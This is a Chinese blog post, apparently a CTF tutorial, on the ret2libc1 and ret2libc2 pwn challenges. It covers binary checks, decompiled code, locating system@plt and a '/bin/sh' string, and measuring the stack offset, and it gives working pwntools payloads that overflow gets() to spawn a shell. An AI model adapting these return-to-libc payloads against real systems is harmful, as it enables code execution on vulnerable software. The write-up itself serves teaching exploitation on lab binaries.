PWN

ret2libc1-2

shilinkun
2022-05-15 / 0 评论 / 181 阅读 / 正在检测是否收录...
博客网址:www.shicoder.top
微信:kj11011029
欢迎加群聊天 :452380935

前面我们对ret2syscall程序进行讲解,这一次我们来说一个类似的ret2libc系列,但是这次的程序有一个重要的变化就是动态链接

ret2libc1

还是先用filechecksec检查下

ROP$ checksec ret2libc1
[*] '/home/pwn/桌面/题目/ROP/ret2libc1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
ROP$ file ret2libc1
ret2libc1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=fb89c86b266de4ff294489da59959a62f7aa1e61, with debug_info, not stripped

可以看到打开了栈不可执行,32位,动态链接,那么比如ret2syscall中,我们想找到一些代码片段,组合成我们想要的就不太可以了

我们先用IDA打开看下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("RET2LIBC >_<");
  gets(&s);
  return 0;
}

还是一个gets导致的栈溢出,那么思路还是让程序执行system("/bin/sh"),但是此时是动态链接,IDA左边的函数窗口也可以看出基本没有什么函数,因此肯定就找不到代码片段,但是我们看到有一个secure函数

void secure()
{
  unsigned int v0; // eax
  int input; // [esp+18h] [ebp-10h]
  int secretcode; // [esp+1Ch] [ebp-Ch]

  v0 = time(0);
  srand(v0);
  secretcode = rand();
  __isoc99_scanf("%d", &input);
  if ( input == secretcode )
    system("shell!?");
}

有一个system函数,那就好办了,本身它是一个动态链接的,然后自己又使用了system函数,那么在它的plt中就存放了system这个表项,虽然我们不能找到system真实的地址,但是通过system@plt,我们同样可以调用system

注意:这一段逻辑需要对动态链接有一定的了解

那么我们就直接去找system@plt,通过IDA可以看到

plt:08048460 ; [00000006 BYTES: COLLAPSED FUNCTION _system. PRESS CTRL-NUMPAD+ TO EXPAND]

那我们构造的payload的形式如下

image-20220515101443422

注意:通过函数调用栈可以知道,一个函数,比如system,它要用的参数是调用它的函数在调用它之前push进去的,而且在它的上2个字节处,因此我们要让"/bin/sh"system的上2个字节处

那么/bin/sh怎么找到呢,2个方法

  • ROPgadget
ROP$ ROPgadget --binary ret2libc1 --string '/bin/sh'
Strings information
============================================================
0x08048720 : /bin/sh
  • pwn,可以通过python pwn得到,代码如下
>>> from pwn import *
>>> elf = ELF("./ret2libc1")
[*] '/home/pwn/桌面/题目/ROP/ret2libc1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
>>> binsh_addr = next(elf.search(b'/bin/sh'))
>>> binsh_addr
134514464
>>> hex(binsh_addr)
'0x8048720'
>>> 
  • IDA ,shift+f12,然后可以看到程序使用的一些字符串,然后双击进入
LOAD:08048154    00000013    C    /lib/ld-linux.so.2
LOAD:080482B9    0000000A    C    libc.so.6
LOAD:080482C3    0000000F    C    _IO_stdin_used
LOAD:080482D2    00000005    C    gets
LOAD:080482D7    00000006    C    srand
LOAD:080482DD    0000000F    C    __isoc99_scanf
LOAD:080482EC    00000005    C    puts
LOAD:080482F1    00000005    C    time
LOAD:080482F6    00000006    C    stdin
LOAD:080482FC    00000007    C    stdout
LOAD:08048303    00000007    C    system
LOAD:0804830A    00000008    C    setvbuf
LOAD:08048312    00000012    C    __libc_start_main
LOAD:08048324    0000000F    C    __gmon_start__
LOAD:08048333    0000000A    C    GLIBC_2.7
LOAD:0804833D    0000000A    C    GLIBC_2.0
.rodata:08048720    00000008    C    /bin/sh
.rodata:0804872B    00000008    C    shell!?
.rodata:08048733    0000000D    C    RET2LIBC >_<
.eh_frame:080487AB    00000005    C    ;*2$\"
==================================
.rodata:08048720 aBinSh          db '/bin/sh',0          ; DATA XREF: .data:shell↓o

那么最后一步就是看下我们要填充多长距离

pwndbg> stack 40
00:0000│ esp  0xffffd0f0 —▸ 0xffffd10c ◂— 'AAAAAAAA'
01:0004│      0xffffd0f4 ◂— 0x0
02:0008│      0xffffd0f8 ◂— 0x1
03:000c│      0xffffd0fc ◂— 0x0
... ↓
06:0018│      0xffffd108 —▸ 0xf7ffd000 ◂— 0x2bf24
07:001c│ eax  0xffffd10c ◂— 'AAAAAAAA'
... ↓
09:0024│ edx  0xffffd114 ◂— 0x500
0a:0028│      0xffffd118 ◂— 0xa5
0b:002c│      0xffffd11c —▸ 0xf7fb3a80 (__dso_handle) ◂— 0xf7fb3a80
0c:0030│      0xffffd120 ◂— 0x0
0d:0034│      0xffffd124 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
0e:0038│      0xffffd128 —▸ 0xf7ffc7e0 (_rtld_global_ro) ◂— 0x0
0f:003c│      0xffffd12c —▸ 0xf7fb8c68 (__exit_funcs_lock) ◂— 0x0
10:0040│      0xffffd130 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
11:0044│      0xffffd134 —▸ 0xf7fe22f0 ◂— endbr32 
12:0048│      0xffffd138 ◂— 0x0
13:004c│      0xffffd13c —▸ 0x8048405 (_init+9) ◂— add    ebx, 0x1bfb
14:0050│      0xffffd140 —▸ 0xf7fb53fc (__exit_funcs) —▸ 0xf7fb6900 (initial) ◂— 0x0
15:0054│      0xffffd144 ◂— 0x40000
16:0058│      0xffffd148 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f14 (_DYNAMIC) ◂— 0x1
17:005c│      0xffffd14c —▸ 0x80486e2 (__libc_csu_init+82) ◂— add    edi, 1
18:0060│      0xffffd150 ◂— 0x1
19:0064│      0xffffd154 —▸ 0xffffd214 —▸ 0xffffd3cc ◂— 0x6d6f682f ('/hom')
1a:0068│      0xffffd158 —▸ 0xffffd21c —▸ 0xffffd3f2 ◂— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'
1b:006c│      0xffffd15c —▸ 0xf7e03519 (__cxa_atexit+41) ◂— add    esp, 0x1c
1c:0070│      0xffffd160 —▸ 0xf7fe22f0 ◂— endbr32 
1d:0074│      0xffffd164 ◂— 0x0
1e:0078│      0xffffd168 —▸ 0x804869b (__libc_csu_init+11) ◂— add    ebx, 0x1965
1f:007c│      0xffffd16c ◂— 0x0
20:0080│      0xffffd170 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
... ↓
22:0088│ ebp  0xffffd178 ◂— 0x0
23:008c│      0xffffd17c —▸ 0xf7de9ee5 (__libc_start_main+245) ◂— add    esp, 0x10

同样是112字节,那么最终的payload

systemplt_addr = 0x08048460
binsh_addr = 0x8048720
payload = b'A' * 112 + p32(systemplt_addr) + b'AAAA' + p32(binsh_addr)

ret2libc2

这一个程序和上一个程序最大的差距在于题目并没有提供/bin/sh字符串,那我们怎么搞呢,现在说白了就是缺少一个字符串bin/sh,对了,我们不可以自己构造一个吗,你看它的源码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("Something surprise here, but I don't think it will work.");
  printf("What do you think ?");
  gets(&s);
  return 0;
}

它不是有get函数吗,那么我们的payload可以这样呀

image-20220515104513620

那现在就是要找到一个buf来存放我们的bin/sh,一般的思路是去bss看有没有一个全局,还真有

.bss:0804A080                 public buf2
.bss:0804A080 ; char buf2[100]
.bss:0804A080 buf2            db 64h dup(?)
.bss:0804A080 _bss            ends

那就简单了,payload如下

from pwn import *
p = process("./ret2libc2")
get_addr = 0x08048460
bss_addr = 0x0804A080
sys_addr = 0x08048490

payload = b'A' * 112 + p32(get_addr) + p32(sys_addr) + p32(bss_addr) + p32(bss_addr)

p.sendline(payload)
p.sendline('/bin/sh')

p.interactive()
0

评论 (0)

取消